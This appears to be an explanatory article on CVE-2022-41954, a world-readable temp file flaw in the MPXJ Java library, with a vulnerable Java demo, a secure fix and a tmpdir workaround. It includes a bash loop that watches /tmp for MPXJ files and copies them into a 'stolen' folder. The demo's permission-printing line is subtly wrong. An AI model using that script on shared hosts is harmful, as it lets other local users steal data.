In late 2022, a subtle but serious vulnerability was discovered in MPXJ – a popular open source Java library used for reading and writing project plans from a wide variety of file formats (like Microsoft Project, Primavera, and more). The vulnerability, CVE-2022-41954, affects how MPXJ handles temporary files on Unix-like operating systems such as Linux. Due to insecure file permissions, unauthorized users could gain access to sensitive scheduling information.

This long read will give you a simple explanation of what this issue is, what could go wrong, and how it was fixed. We'll also present working code samples to demonstrate the problem and ways you can protect your data even if you can’t upgrade.

What is the Problem? (Technical Breakdown)

MPXJ often needs to create temporary files and directories while it's working. For example, if it’s converting a file or extracting some embedded data, it might generate a temp file like /tmp/mpxj.12345.

On Unix-like systems, Java’s standard File.createTempFile(..) method creates files with permissions -rw-r--r--. That means:

- The owner (your process) can read/write.

Every other user on the system can READ the file.

If you run MPXJ on a shared Linux server, any local user could snoop through /tmp/, find those temp files, and read the contents—including sensitive business schedules, project plans, or user data.

Here’s a basic demonstration using Java code

import java.io.*;

public class TempFileDemo {
    public static void main(String[] args) throws IOException {
        File temp = File.createTempFile("mpxj-test", ".tmp");
        // Write some confidential content
        try (FileWriter writer = new FileWriter(temp)) {
            writer.write("Top Secret Project Plan");
        }
        System.out.println("Temp file created at: " + temp.getAbsolutePath());
        // File permissions: -rw-r--r--
        System.out.println("File permission: " + Integer.toOctalString(temp.getCanonicalFile().getAbsoluteFile().canRead()?040:000));
    }
}

Inspect the file (ls -l /tmp/mpxj-test*.tmp) and you’ll see a permission set like

-rw-r--r-- 1 alice alice 27 Jun 23 10:05 mpxj-test123456789.tmp

Any user on the machine can run

cat /tmp/mpxj-test123456789.tmp

Exploitation Scenario

Attacker: A user with a shell account on the same server  
Target: A service or process using MPXJ to read a schedule file (such as an upload handler or automated converter)

Attack Steps

1. The attacker knows MPXJ is used, and that temp files are created in /tmp/ or another world-readable directory.
2. The attacker monitors /tmp/ for new files matching the pattern mpxj* or similar, with permissions allowing global read.
3. The attacker grabs the file path and reads its contents instantly—even while it is still being processed by MPXJ.

> If these files hold sensitive project-related information (client names, project details, business timelines) — the attacker now has it.

Here's how a local attacker could automate snooping

#!/bin/bash
# Simple attacker script to watch /tmp for MPXJ temp files

while true; do
  for f in /tmp/mpxj*; do
    if [ -r "$f" ]; then
      echo "[$(date)] Found temp file: $f"
      cat "$f"
      # Optionally copy it for later analysis:
      cp "$f" "$HOME/stolen/$(basename $f)"
    fi
  done
  sleep 1
done

- GitHub: MPXJ - Release Notes
- MPXJ Issue Tracker
- NVD Entry for CVE-2022-41954
- Java Docs: File.createTempFile

Official Patch

MPXJ version 10.14.1 and later enforces stricter file/create permissions on temp files; on Unix-like systems, temp files are now only readable and writable by the owning user.

Secure Example (Java 7+)

import java.io.*;
import java.nio.file.*;

public class SecureTempFile {
    public static void main(String[] args) throws IOException {
        Path temp = Files.createTempFile("mpxj-secure", ".tmp");
        // Set file permissions explicitly to rw-------
        Files.setPosixFilePermissions(temp, 
          PosixFilePermissions.fromString("rw-------"));

        // Write confidential content
        Files.write(temp, "Super Secret".getBytes());

        // Permissions: -rw-------
        System.out.println("Secure temp file at: "+temp.toString());
    }
}

If You Can't Upgrade

If your application is stuck on an older version or can't patch quickly, you have a temporary workaround: use a private temp folder.

Set the system property java.io.tmpdir to a directory that only your application’s user can access. For example, if your service user is projectrunner:

mkdir /home/projectrunner/private_tmp
chmod 700 /home/projectrunner/private_tmp
export JAVA_OPTS="-Djava.io.tmpdir=/home/projectrunner/private_tmp"

Or for one-off launching

java -Djava.io.tmpdir=/home/projectrunner/private_tmp -jar yourapp.jar

With these restrictive permissions, no other user can browse or read files within this directory, even if the files themselves are world-readable.

Conclusion

CVE-2022-41954 reminds us that even the safest libraries can introduce security risks through platform features we don’t always question. Temp files might seem "temporary," but their data is highly sensitive—treat them with care!

If you can’t upgrade, set java.io.tmpdir to a restrictive, private directory.

- Regularly audit how your applications handle all temp files—especially when handling private business data.

Finally, this issue is a textbook example of the difference between Windows, macOS, and Unix/Linux default file permission behaviors—be aware of your platform’s defaults!

Timeline

Published on: 11/25/2022 19:15:00 UTC
Last modified on: 07/06/2023 13:41:00 UTC